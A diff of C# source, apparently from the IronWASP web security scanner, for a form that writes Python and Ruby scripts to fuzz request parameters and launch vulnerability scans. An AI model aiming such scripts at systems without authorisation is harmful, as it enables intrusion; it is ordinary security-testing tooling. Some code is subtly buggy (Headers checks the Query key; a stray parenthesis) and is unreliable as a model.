Rb.AppendLine(); - } - - Py.AppendLine("#Resets the fuzzer so that it is ready to start."); - Py.AppendLine("f.Reset()"); - Py.AppendLine(); - Py.AppendLine("#We go through a while loop till there are Fuzz or Injection points"); - Py.AppendLine("while f.HasMore():"); - Py.AppendLine("#We make the fuzzer go to the next injection point. On first run this command makes it point to the first injection point."); - Py.Append(" "); Py.AppendLine("f.Next()"); - - Rb.AppendLine("#Resets the fuzzer so that it is ready to start."); - Rb.AppendLine("f.reset"); - Rb.AppendLine(); - Rb.AppendLine("#We go through a while loop till there are Fuzz or Injection points"); - Rb.AppendLine("while f.has_more"); - Rb.AppendLine("#We make the fuzzer go to the next injection point. On first run this command makes it point to the first injection point."); - Rb.Append(" "); Rb.AppendLine("f.next"); - - - Py.Append(" "); Py.AppendLine("for payload in payloads:"); - Rb.Append(" "); Rb.AppendLine("for payload in payloads"); - if (FuzzPayloadEncodedYesRB.Checked) - { - Py.AppendLine(); - Py.AppendLine("#The payload is in Url encoded form so we decode it before injecting"); - Py.Append(" "); Py.AppendLine("payload = Tools.UrlDecode(payload)"); - - Rb.AppendLine(); - Rb.AppendLine("#The payload is in Url encoded form so we decode it before injecting"); - Rb.Append(" "); Rb.AppendLine("payload = Tools.url_decode(payload)"); - } - if (FuzzOriginalParameterAfterPayloadRB.Checked) - { - Py.AppendLine(); - Py.AppendLine("#The injected parameter's original value is added before the payload"); - Py.Append(" "); Py.AppendLine("payload = payload + f.PreInjectionParameterValue"); - - Rb.AppendLine(); - Rb.AppendLine("#The injected parameter's original value is added before the payload"); - Rb.Append(" "); Rb.AppendLine("payload = payload + f.pre_injection_parameter_value"); - } - else if (FuzzOriginalParameterBeforePayloadRB.Checked) - { - Py.AppendLine(); - Py.AppendLine("#The injected parameter's original value is added before the payload"); - Py.Append(" "); Py.AppendLine("payload = f.PreInjectionParameterValue + payload"); - - Rb.AppendLine(); - Rb.AppendLine("#The injected parameter's original value is added before the payload"); - Rb.Append(" "); Rb.AppendLine("payload = f.pre_injection_parameter_value + payload"); - } - Py.AppendLine(); - Py.AppendLine("#Inject the payload in the Request at the current injection point, send it to the server and get the response"); - Py.Append(" "); Py.AppendLine("res = f.Inject(payload)"); - Py.Append(" "); Py.AppendLine("if res.Code == 500:"); - Py.Append(" "); Py.AppendLine("#If the response code is 500 then inform the user"); - Py.Append(" "); Py.AppendLine(@"print ""Injecting - "" + payload + "" made the server return a 500 response"""); - Py.Append(" "); Py.AppendLine("if res.BodyString.count('error') > 0:"); - Py.Append(" "); Py.AppendLine("#If the response body contains the string 'error' then inform the user"); - Py.Append(" "); Py.AppendLine(@"print ""Injecting - "" + payload + "" made the server return an error message in the response"""); - - Rb.AppendLine(); - Rb.AppendLine("#Inject the payload in the Request at the current injection point, send it to the server and get the response"); - Rb.Append(" "); Rb.AppendLine("res = f.inject(payload)"); - Rb.Append(" "); Rb.AppendLine("if res.code == 500"); - Rb.Append(" "); Rb.AppendLine("#If the response code is 500 then inform the user"); - Rb.Append(" "); Rb.AppendLine(@"puts ""Injecting - "" + payload + "" made the server return a 500 response"""); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("if res.body_string.index('error')"); - Rb.Append(" "); Rb.AppendLine("#If the response body contains the string 'error' then inform the user"); - Rb.Append(" "); Rb.AppendLine(@"puts ""Injecting - "" + payload + "" made the server return an error message in the response"""); - Rb.Append(" "); Rb.AppendLine("end"); - - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine("end"); - - ShowCode(Py.ToString(), Rb.ToString()); - } - - int ScanCurrentStep = 0; - Dictionary ScanInjectionPoints = new Dictionary(); - string[] ScanPayloads = new string[] { }; - string ScanInjectedBodyType = ""; - string ScanInjectedBodyFormatPlugin = ""; - - void ShowScanStep0Error(string Text) - { - this.ScanStep0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.ScanStep0StatusTB.Visible = false; - } - else - { - this.ScanStep0StatusTB.ForeColor = Color.Red; - this.ScanStep0StatusTB.Visible = true; - } - } - - void ShowScanStep1Error(string Text) - { - this.ScanStep1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.ScanStep1StatusTB.Visible = false; - } - else - { - this.ScanStep1StatusTB.ForeColor = Color.Red; - this.ScanStep1StatusTB.Visible = true; - } - } - - void ShowScanStep2Error(string Text) - { - this.ScanStep2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.ScanStep2StatusTB.Visible = false; - } - else - { - this.ScanStep2StatusTB.ForeColor = Color.Red; - this.ScanStep2StatusTB.Visible = true; - } - } - - private void ScanParameterTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanParameterTypeGrid.SelectedRows == null) return; - if (ScanParameterTypeGrid.SelectedRows.Count == 0) return; - - ScanBodyTypeGB.Visible = false; - ScanAllParametersRB.Visible = false; - ScanAllParametersRB.Checked = true; - ScanListedParametersRB.Visible = false; - ScanParametersNameListLbl.Visible = false; - ScanParametersNameListTB.Visible = false; - ScanAddPointLL.Visible = false; - - foreach (DataGridViewRow Row in ScanParameterTypeGrid.Rows) - { - if (Row.Index == ScanParameterTypeGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - switch (Row.Cells[1].Value.ToString()) - { - case ("UrlPathParts"): - ScanAllParametersRB.Visible = true; - ScanListedParametersRB.Visible = true; - ScanParametersNameListLbl.Visible = true; - ScanParametersNameListTB.Visible = true; - ScanAddPointLL.Visible = true; - ScanAllParametersRB.Text = "Scan all UrlPathPart positions"; - ScanListedParametersRB.Text = "Scan only UrlPathPart positions listed below"; - ScanParametersNameListLbl.Text = "Enter the zero-based index positions one per line:"; - break; - case ("Query"): - ScanAllParametersRB.Visible = true; - ScanListedParametersRB.Visible = true; - ScanParametersNameListLbl.Visible = true; - ScanParametersNameListTB.Visible = true; - ScanAddPointLL.Visible = true; - ScanAllParametersRB.Text = "Scan all Query Parameters"; - ScanListedParametersRB.Text = "Scan only Query Parameters listed below"; - ScanParametersNameListLbl.Text = "Enter one Parameter Name per line:"; - break; - case ("Body"): - ScanBodyTypeGrid.Rows.Clear(); - ScanBodyTypeGrid.Rows.Add(false, "Normal"); - foreach (string Name in FormatPlugin.List()) - { - ScanBodyTypeGrid.Rows.Add(false, Name); - } - ScanBodyTypeGrid.Rows.Add(false, "Other Unknown/Custom"); - ScanBodyTypeGrid.Visible = true; - - ScanBodyCustomMsgTB.Visible = false; - ScanBodyCustomStartLbl.Visible = false; - ScanBodyCustomStartTB.Visible = false; - ScanBodyCustomEndLbl.Visible = false; - ScanBodyCustomEndTB.Visible = false; - - ScanBodyTypeGB.Visible = true; - - break; - case ("Cookie"): - ScanAllParametersRB.Visible = true; - ScanListedParametersRB.Visible = true; - ScanParametersNameListLbl.Visible = true; - ScanParametersNameListTB.Visible = true; - ScanAddPointLL.Visible = true; - ScanAllParametersRB.Text = "Scan all Cookie Parameters"; - ScanListedParametersRB.Text = "Scan only Cookie Parameters listed below"; - ScanParametersNameListLbl.Text = "Enter one Parameter Name per line:"; - break; - case ("Headers"): - ScanAllParametersRB.Visible = true; - ScanListedParametersRB.Visible = true; - ScanParametersNameListLbl.Visible = true; - ScanParametersNameListTB.Visible = true; - ScanAddPointLL.Visible = true; - ScanAllParametersRB.Text = "Scan all Header Parameters"; - ScanListedParametersRB.Text = "Scan only Header Parameters listed below"; - ScanParametersNameListLbl.Text = "Enter one Parameter Name per line:"; - break; - } - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void ScanBodyTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanBodyTypeGrid.SelectedRows == null) return; - if (ScanBodyTypeGrid.SelectedRows.Count == 0) return; - - ScanAllParametersRB.Visible = false; - ScanAllParametersRB.Checked = true; - ScanListedParametersRB.Visible = false; - ScanParametersNameListLbl.Visible = false; - ScanParametersNameListTB.Visible = false; - ScanAddPointLL.Visible = false; - - ScanBodyCustomMsgTB.Visible = false; - ScanBodyCustomStartLbl.Visible = false; - ScanBodyCustomStartTB.Visible = false; - ScanBodyCustomEndLbl.Visible = false; - ScanBodyCustomEndTB.Visible = false; - - foreach (DataGridViewRow Row in ScanBodyTypeGrid.Rows) - { - if (Row.Index == ScanBodyTypeGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - if (Row.Index == 0) - { - ScanAllParametersRB.Visible = true; - ScanListedParametersRB.Visible = true; - ScanParametersNameListLbl.Visible = true; - ScanParametersNameListTB.Visible = true; - ScanAddPointLL.Visible = true; - ScanAllParametersRB.Text = "Scan all Body Parameters"; - ScanListedParametersRB.Text = "Scan only Body Parameters listed below"; - ScanParametersNameListLbl.Text = "Enter one Parameter Name per line:"; - } - else if (Row.Index == ScanBodyTypeGrid.Rows.Count - 1) - { - ScanBodyCustomMsgTB.Visible = true; - ScanBodyCustomStartLbl.Visible = true; - ScanBodyCustomStartTB.Visible = true; - ScanBodyCustomEndLbl.Visible = true; - ScanBodyCustomEndTB.Visible = true; - ScanAddPointLL.Visible = true; - } - else - { - ScanAllParametersRB.Visible = true; - ScanListedParametersRB.Visible = true; - ScanParametersNameListLbl.Visible = true; - ScanParametersNameListTB.Visible = true; - ScanAddPointLL.Visible = true; - ScanAllParametersRB.Text = string.Format("Scan all {0} Values", Row.Cells[1].Value.ToString()); - ScanListedParametersRB.Text = string.Format("Scan only {0} Values at listed indexes", Row.Cells[1].Value.ToString()); - ScanParametersNameListLbl.Text = "Enter the zero-based index positions of values one per line:"; - } - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void ScanListedParametersRB_CheckedChanged(object sender, EventArgs e) - { - ScanParametersNameListTB.Enabled = ScanListedParametersRB.Checked; - } - - private void ScanAddPointLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - ShowScanStep0Error(""); - - string ParameterType = ""; - string BodyType = ""; - string BodyFormatPlugin = ""; - string StartMarker = ScanBodyCustomStartTB.Text; - string EndMarker = ScanBodyCustomEndTB.Text; - string[] ParametersList = ScanParametersNameListTB.Text.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); - - foreach (DataGridViewRow Row in ScanParameterTypeGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - ParameterType = Row.Cells[1].Value.ToString(); - break; - } - } - if (ParameterType.Equals("Body")) - { - foreach (DataGridViewRow Row in ScanBodyTypeGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - if (Row.Index == 0) - { - BodyType = "Normal"; - } - else if (Row.Index == ScanBodyTypeGrid.Rows.Count - 1) - { - BodyType = "Other"; - } - else - { - BodyType = "FormatPlugin"; - BodyFormatPlugin = Row.Cells[1].Value.ToString(); - } - break; - } - } - } - - switch (ParameterType) - { - case ("UrlPathParts"): - if (ScanAllParametersRB.Checked) - { - ScanInjectionPoints["UrlPathParts"] = new string[] { }; - } - else - { - foreach (string P in ParametersList) - { - try - { - Int32.Parse(P); - } - catch - { - ShowScanStep0Error("UrlPathParts position must be a number"); - return; - } - } - if (ParametersList.Length == 0) - { - ShowScanStep0Error("UrlPathParts positions list cannot be empty. Mention atleast one position."); - return; - } - ScanInjectionPoints["UrlPathParts"] = ParametersList; - } - break; - case ("Query"): - if (ScanAllParametersRB.Checked) - { - ScanInjectionPoints["Query"] = new string[] { }; - } - else - { - if (ParametersList.Length == 0) - { - ShowScanStep0Error("Query parameter names list cannot be empty. Mention atleast one parameter."); - return; - } - ScanInjectionPoints["Query"] = ParametersList; - } - break; - case ("Body"): - ScanInjectedBodyType = BodyType; - ScanInjectedBodyFormatPlugin = ""; - switch (BodyType) - { - case ("Normal"): - if (ScanAllParametersRB.Checked) - { - ScanInjectionPoints["Body"] = new string[] { }; - } - else - { - if (ParametersList.Length == 0) - { - ShowScanStep0Error("Body parameter names list cannot be empty. Mention atleast one parameter."); - return; - } - ScanInjectionPoints["Body"] = ParametersList; - } - break; - case ("Other"): - if (StartMarker.Length == 0 || EndMarker.Length == 0) - { - ShowScanStep0Error("Start or End markers cannot be empty."); - return; - } - if (StartMarker.Equals(EndMarker)) - { - ShowScanStep0Error("Start and End markers cannot be the same."); - return; - } - ScanInjectionPoints["Body"] = new string[] { StartMarker, EndMarker }; - break; - case ("FormatPlugin"): - ScanInjectedBodyFormatPlugin = BodyFormatPlugin; - if (ScanAllParametersRB.Checked) - { - ScanInjectionPoints["Body"] = new string[] { }; - } - else - { - foreach (string P in ParametersList) - { - try - { - Int32.Parse(P); - } - catch - { - ShowScanStep0Error(string.Format("{0} values position must be a number", BodyFormatPlugin)); - return; - } - } - if (ParametersList.Length == 0) - { - ShowScanStep0Error(string.Format("{0} positions list cannot be empty. Mention atleast one position.", BodyFormatPlugin)); - return; - } - ScanInjectionPoints["Body"] = ParametersList; - } - break; - } - break; - case ("Cookie"): - if (ScanAllParametersRB.Checked) - { - ScanInjectionPoints["Cookie"] = new string[] { }; - } - else - { - if (ParametersList.Length == 0) - { - ShowScanStep0Error("Cookie parameter names list cannot be empty. Mention atleast one parameter."); - return; - } - ScanInjectionPoints["Cookie"] = ParametersList; - } - break; - case ("Headers"): - if (ScanAllParametersRB.Checked) - { - ScanInjectionPoints["Headers"] = new string[] { }; - } - else - { - if (ParametersList.Length == 0) - { - ShowScanStep0Error("Headers parameter names list cannot be empty. Mention atleast one parameter."); - return; - } - ScanInjectionPoints["Headers"] = ParametersList; - } - break; - } - ScanBodyTypeGB.Visible = false; - ScanAllParametersRB.Visible = false; - ScanListedParametersRB.Visible = false; - ScanParametersNameListLbl.Visible = false; - ScanParametersNameListTB.Visible = false; - ScanAddPointLL.Visible = false; - - foreach (DataGridViewRow Row in ScanParameterTypeGrid.Rows) - { - Row.Cells[0].Value = false; - } - - UpdateSelectedScanInjectionPointsList(); - } - - void UpdateSelectedScanInjectionPointsList() - { - StringBuilder SB = new StringBuilder("Selected Injection Points:\r\n"); - if (ScanInjectionPoints.Count > 0) - { - foreach (string Section in ScanInjectionPoints.Keys) - { - SB.Append(Section); SB.Append(", "); - } - } - else - { - SB.Append("-"); - } - ScanSelectedParametersListTB.Text = SB.ToString().TrimEnd().TrimEnd(','); - } - - private void ScanStepZeroNextBtn_Click(object sender, EventArgs e) - { - string Error = CheckScanStep0Input(); - if (Error.Length == 0) - { - this.ScanCurrentStep = 1; - this.ScanBaseTabs.SelectTab(1); - } - else - { - ShowScanStep0Error(Error); - } - } - - string CheckScanStep0Input() - { - if (ScanInjectionPoints.Count == 0) - { - return "No injection points were selected. Select atleast one injection point before proceeding."; - } - return ""; - } - - private void ScanStepOnePreviousBtn_Click(object sender, EventArgs e) - { - this.ScanCurrentStep = 0; - this.ScanBaseTabs.SelectTab(0); - } - - private void ScanStepOneNextBtn_Click(object sender, EventArgs e) - { - string Error = CheckScanStep1Input(); - if (Error.Length == 0) - { - this.ScanCurrentStep = 2; - this.ScanBaseTabs.SelectTab(2); - } - else - { - ShowScanStep1Error(Error); - } - } - - string CheckScanStep1Input() - { - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) return ""; - } - return "No vulnerability checks were selected. Select atleast one check before proceeding."; - } - - private void ScanStepTwoPreviousBtn_Click(object sender, EventArgs e) - { - this.ScanCurrentStep = 1; - this.ScanBaseTabs.SelectTab(1); - } - - private void ScanBaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (ScanBaseTabs.SelectedIndex != this.ScanCurrentStep) - ScanBaseTabs.SelectTab(this.ScanCurrentStep); - } - - private void ScanSessionPluginGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanSessionPluginGrid.SelectedRows == null) return; - if (ScanSessionPluginGrid.SelectedRows.Count == 0) return; - - foreach (DataGridViewRow Row in ScanSessionPluginGrid.Rows) - { - if (Row.Index == ScanSessionPluginGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void ScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanPluginsGrid.SelectedRows == null) return; - if (ScanPluginsGrid.SelectedRows.Count == 0) return; - - if ((bool)ScanPluginsGrid.SelectedRows[0].Cells[0].Value) - { - ScanPluginsGrid.SelectedRows[0].Cells[0].Value = false; - ScanAllPluginsCB.Checked = false; - } - else - { - ScanPluginsGrid.SelectedRows[0].Cells[0].Value = true; - } - } - - private void ScanResetBtn_Click(object sender, EventArgs e) - { - ScanInjectionPoints.Clear(); - UpdateSelectedScanInjectionPointsList(); - } - - private void ScanAllPluginsCB_Click(object sender, EventArgs e) - { - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - Row.Cells[0].Value = ScanAllPluginsCB.Checked; - } - } - - private void ScanCreateCodeBtn_Click(object sender, EventArgs e) - { - ShowScanStep2Error(""); - string SessionPluginName = ""; - - foreach (DataGridViewRow Row in ScanSessionPluginGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - if (Row.Index == 0) - { - SessionPluginName = ""; - } - else - { - SessionPluginName = Row.Cells[1].Value.ToString(); - } - break; - } - } - - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#'req' is a variable that is assumed to contain a Request object"); - Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object"); - Py.AppendLine(); - Rb.AppendLine(); - - - Py.AppendLine("#We create a new Scanner to Scan the request 'req'"); - Py.AppendLine("s = Scanner(req)"); - - Rb.AppendLine("#We create a new Scanner to Scan the request 'req'"); - Rb.AppendLine("s = Scanner.new(req)"); - - if (ScanInjectionPoints.ContainsKey("UrlPathParts")) - { - if (ScanInjectionPoints["UrlPathParts"].Length == 0) - { - Py.AppendLine("#Select all UrlPathparts for injection"); - Py.AppendLine("s.InjectUrl()"); - - Rb.AppendLine("#Select all UrlPathparts for injection"); - Rb.AppendLine("s.inject_url"); - } - else - { - Py.AppendLine("#Select the UrlPathpart at specified positions for injection"); - Rb.AppendLine("#Select the UrlPathpart at specified positions for injection"); - foreach (string Position in ScanInjectionPoints["UrlPathParts"]) - { - Py.AppendLine(string.Format("s.InjectUrl({0})", Position.Trim())); - - Rb.AppendLine(string.Format("s.inject_url({0})", Position.Trim())); - } - } - } - if (ScanInjectionPoints.ContainsKey("Query")) - { - if (ScanInjectionPoints["Query"].Length == 0) - { - Py.AppendLine("#Select all Query parameters for injection"); - Py.AppendLine("s.InjectQuery()"); - - Rb.AppendLine("#Select all Query parameters for injection"); - Rb.AppendLine("s.inject_query()"); - } - else - { - Py.AppendLine("#Select the specified Query parameters for injection"); - Rb.AppendLine("#Select the specified Query parameters for injection"); - foreach (string Parameter in ScanInjectionPoints["Query"]) - { - Py.AppendLine(string.Format(@"s.InjectQuery(""{0}"")", Parameter.Replace("\"", "\\\""))); - - Rb.AppendLine(string.Format(@"s.inject_query(""{0}"")", Parameter.Replace("\"", "\\\""))); - } - } - } - if (ScanInjectionPoints.ContainsKey("Body")) - { - switch (ScanInjectedBodyType) - { - case ("Normal"): - if (ScanInjectionPoints["Body"].Length == 0) - { - Py.AppendLine("#Select all Body parameters for injection"); - Py.AppendLine("s.InjectBody()"); - - Rb.AppendLine("#Select all Body parameters for injection"); - Rb.AppendLine("s.inject_body"); - } - else - { - Py.AppendLine("#Select the specified Body parameters for injection"); - Rb.AppendLine("#Select the specified Body parameters for injection"); - - foreach (string Parameter in ScanInjectionPoints["Body"]) - { - Py.AppendLine(string.Format(@"s.InjectBody(""{0}"")", Parameter.Replace("\"", "\\\""))); - - Rb.AppendLine(string.Format(@"s.inject_body(""{0}"")", Parameter.Replace("\"", "\\\""))); - } - } - break; - case ("Other"): - Py.AppendLine("#Inject values between the specified start and end marker"); - Py.AppendLine(string.Format(@"s.InjectBody(""{0}"", ""{1}"")", ScanInjectionPoints["Body"][0].Replace("\"", "\\\""), ScanInjectionPoints["Body"][1].Replace("\"", "\\\""))); - - Rb.AppendLine("#Inject values between the specified start and end marker"); - Rb.AppendLine(string.Format(@"s.inject_body(""{0}"", ""{1}"")", ScanInjectionPoints["Body"][0].Replace("\"", "\\\""), ScanInjectionPoints["Body"][1].Replace("\"", "\\\""))); - break; - case ("FormatPlugin"): - Py.AppendLine("#Specify the body format of the Request"); - Py.AppendLine(string.Format(@"s.BodyFormat = FormatPlugin.Get(""{0}"")", ScanInjectedBodyFormatPlugin)); - - Rb.AppendLine("#Specify the body format of the Request"); - Rb.AppendLine(string.Format(@"s.body_format = FormatPlugin.get(""{0}"")", ScanInjectedBodyFormatPlugin)); - - if (ScanInjectionPoints["Body"].Length == 0) - { - Py.AppendLine("#Select all values for injection"); - Py.AppendLine("s.InjectBody()"); - - Rb.AppendLine("#Select all values for injection"); - Rb.AppendLine("s.inject_body"); - } - else - { - Py.AppendLine("#Select value at the specified positions for injection"); - Rb.AppendLine("#Select value at the specified positions for injection"); - foreach (string Parameter in ScanInjectionPoints["Body"]) - { - Py.AppendLine(string.Format("s.InjectBody({0})", Parameter.Trim())); - - Rb.AppendLine(string.Format("s.inject_body({0})", Parameter.Trim())); - } - } - break; - } - - } - if (ScanInjectionPoints.ContainsKey("Cookie")) - { - if (ScanInjectionPoints["Cookie"].Length == 0) - { - Py.AppendLine("#Select all Cookie parameters for injection"); - Py.AppendLine("s.InjectCookie()"); - - Rb.AppendLine("#Select all Cookie parameters for injection"); - Rb.AppendLine("s.inject_cookie)"); - } - else - { - Py.AppendLine("#Select the specified Cookie parameters for injection"); - Rb.AppendLine("#Select the specified Cookie parameters for injection"); - foreach (string Parameter in ScanInjectionPoints["Cookie"]) - { - Py.AppendLine(string.Format(@"s.InjectCookie(""{0}"")", Parameter.Replace("\"", "\\\""))); - - Rb.AppendLine(string.Format(@"s.inject_cookie(""{0}"")", Parameter.Replace("\"", "\\\""))); - } - } - } - if (ScanInjectionPoints.ContainsKey("Headers")) - { - if (ScanInjectionPoints["Query"].Length == 0) - { - Py.AppendLine("#Select all Header parameters for injection"); - Py.AppendLine("s.InjectHeaders()"); - - Rb.AppendLine("#Select all Header parameters for injection"); - Rb.AppendLine("s.inject_headers"); - } - else - { - Py.AppendLine("#Select the specified Header parameters for injection"); - Rb.AppendLine("#Select the specified Header parameters for injection"); - - foreach (string Parameter in ScanInjectionPoints["Headers"]) - { - Py.AppendLine(string.Format(@"s.InjectHeaders(""{0}"")", Parameter.Replace("\"", "\\\""))); - - Rb.AppendLine(string.Format(@"s.inject_headers(""{0}"")", Parameter.Replace("\"", "\\\""))); - } - } - } - - if (SessionPluginName.Length > 0) - { - Py.AppendLine("#Use a Session Plugin during Scaning"); - Py.AppendLine(string.Format(@"s.SessionHandler = SessionPlugin.Get(""{0}"")", SessionPluginName)); - - Rb.AppendLine("#Use a Session Plugin during Scaning"); - Rb.AppendLine(string.Format(@"s.session_handler = SessionPlugin.get(""{0}"")", SessionPluginName)); - } - - if (ScanAllPluginsCB.Checked) - { - Py.AppendLine("#Enable all vulerability checks"); - Py.AppendLine("s.CheckAll()"); - - Rb.AppendLine("#Enable all vulerability checks"); - Rb.AppendLine("s.check_all"); - } - else - { - Py.AppendLine("#Add vulnerability checks by name. ActivePlugin.List() will give a list of all names"); - Rb.AppendLine("#Add vulnerability checks by name. ActivePlugin.list will give a list of all names"); - - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - Py.AppendLine(string.Format(@"s.AddCheck(""{0}"")", Row.Cells[1].Value.ToString())); - - Rb.AppendLine(string.Format(@"s.add_check(""{0}"")", Row.Cells[1].Value.ToString())); - } - } - } - - - Py.AppendLine("#Start the Scan"); - Py.AppendLine("scan_id = s.LaunchScan()"); - Py.AppendLine(@"print ""Scan started, Scan ID is "" + str(scan_id)"); - Py.AppendLine(); - - Rb.AppendLine("#Start the Scan"); - Rb.AppendLine("scan_id = s.launch_scan"); - Rb.AppendLine(@"puts ""Scan started, Scan ID is "" + scan_id.to_s"); - Rb.AppendLine(); - - ShowCode(Py.ToString(), Rb.ToString()); - } - - private void CopyScriptLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - ShowCodeError(""); - try - { - if(CodeTabs.SelectedIndex == 0) - { - if (FullPyCode.Length > 0) - { - Clipboard.SetText(FullPyCode); - } - } - else - { - if (FullRbCode.Length > 0) - { - Clipboard.SetText(FullRbCode); - } - } - } - catch(Exception Exp) - { - ShowCodeError("There was some error copying code, try again."); - IronException.Report("Unable to copy code from Script Creation Assistant", Exp); - } - } - - private void CodeTabs_SelectedIndexChanged(object sender, EventArgs e) - { - if (CodeTabs.SelectedIndex == 0) - { - CopyScriptLL.Text = "Copy Python Script to Clipboard"; - } - else - { - CopyScriptLL.Text = "Copy Ruby Script to Clipboard"; - } - } - } -} - +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.IO; + +namespace IronWASP +{ + public partial class ScriptCreationAssistant : Form + { + string FullPyCode = ""; + string FullRbCode = ""; + + public ScriptCreationAssistant() + { + InitializeComponent(); + } + + private void CRLogSourceGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (CRLogSourceGrid.SelectedRows == null) return; + if (CRLogSourceGrid.SelectedRows.Count == 0) return; + foreach (DataGridViewRow Row in CRLogSourceGrid.Rows) + { + if (Row.Index == CRLogSourceGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void CRFromUrlRB_CheckedChanged(object sender, EventArgs e) + { + if (CRFromUrlRB.Checked) + { + CRFromUrlPanel.Visible = true; + CRFromLogPanel.Visible = false; + } + } + + private void CRFromLogRB_CheckedChanged(object sender, EventArgs e) + { + if (CRFromLogRB.Checked) + { + CRFromLogPanel.Visible = true; + CRFromUrlPanel.Visible = false; + } + } + + private void CRIncludeRequestBodyCB_CheckedChanged(object sender, EventArgs e) + { + if (CRIncludeRequestBodyCB.Checked) + { + CRRequestBodyTB.Enabled = true; + } + else + { + CRRequestBodyTB.Enabled = false; + } + } + + private void CRCreateCodeBtn_Click(object sender, EventArgs e) + { + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#Request is created based on your requirement and stored in a variable named 'req'"); + Rb.AppendLine("#Request is created based on your requirement and stored in a variable named 'req'"); + + ShowCRError(""); + + if (!(CRFromUrlRB.Checked || CRFromLogRB.Checked)) + { + ShowCRError("Select atleast one option"); + return; + } + + if (CRFromUrlRB.Checked) + { + try + { + new Request(CRRequestUrlTB.Text); + if (CRIncludeRequestBodyCB.Checked) + { + Py.AppendLine(string.Format(@"req = Request(""POST"", ""{0}"", ""{1}"")", CRRequestUrlTB.Text.Replace("\"", "\\\""), CRRequestBodyTB.Text.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"req = Request.new(""POST"", ""{0}"", ""{1}"")", CRRequestUrlTB.Text.Replace("\"", "\\\""), CRRequestBodyTB.Text.Replace("\"", "\\\""))); + } + else + { + Py.AppendLine(string.Format(@"req = Request(""{0}"")", CRRequestUrlTB.Text.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"req = Request.new(""{0}"")", CRRequestUrlTB.Text.Replace("\"", "\\\""))); + } + } + catch + { + ShowCRError("Invalid Request Url. Url must start with http:// or https://. Eg: http://ironwasp.org/index.html"); + return; + } + } + + string LogSource = ""; + int LogId = 0; + + if (CRFromLogRB.Checked) + { + foreach (DataGridViewRow Row in CRLogSourceGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + LogSource = Row.Cells[1].Value.ToString(); + break; + } + } + if (LogSource.Length == 0) + { + ShowCRError("Log Source has not been selected."); + return; + } + try + { + LogId = Int32.Parse(CRLogIdTB.Text.Trim()); + } + catch + { + ShowCRError("Log Id must be a valid number"); + return; + } + switch (LogSource) + { + case("Proxy"): + Py.AppendLine(string.Format(@"req = Request.FromProxyLog({0})", LogId)); + Rb.AppendLine(string.Format(@"req = Request.from_proxy_log({0})", LogId)); + break; + case ("Probe"): + Py.AppendLine(string.Format(@"req = Request.FromProbeLog({0})", LogId)); + Rb.AppendLine(string.Format(@"req = Request.from_probe_log({0})", LogId)); + break; + case ("Shell"): + Py.AppendLine(string.Format(@"req = Request.FromShellLog({0})", LogId)); + Rb.AppendLine(string.Format(@"req = Request.from_shell_log({0})", LogId)); + break; + case ("Scan"): + Py.AppendLine(string.Format(@"req = Request.FromScanLog({0})", LogId)); + Rb.AppendLine(string.Format(@"req = Request.from_scan_log({0})", LogId)); + break; + case ("Test"): + Py.AppendLine(string.Format(@"req = Request.FromTestLog({0})", LogId)); + Rb.AppendLine(string.Format(@"req = Request.from_test_log({0})", LogId)); + break; + default: + Py.AppendLine(string.Format(@"req = Request.FromLog({0}, ""{1}"")", LogId, LogSource)); + Rb.AppendLine(string.Format(@"req = Request.from_log({0}, ""{1}"")", LogId, LogSource)); + break; + } + } + ShowCode(Py.ToString(), Rb.ToString()); + } + + void ShowCRError(string Error) + { + CRErrorTB.Text = Error; + if(Error.Length > 0) + CRErrorTB.Visible = true; + else + CRErrorTB.Visible = false; + } + void ShowSRError(string Error) + { + SRErrorTB.Text = Error; + if (Error.Length > 0) + SRErrorTB.Visible = true; + 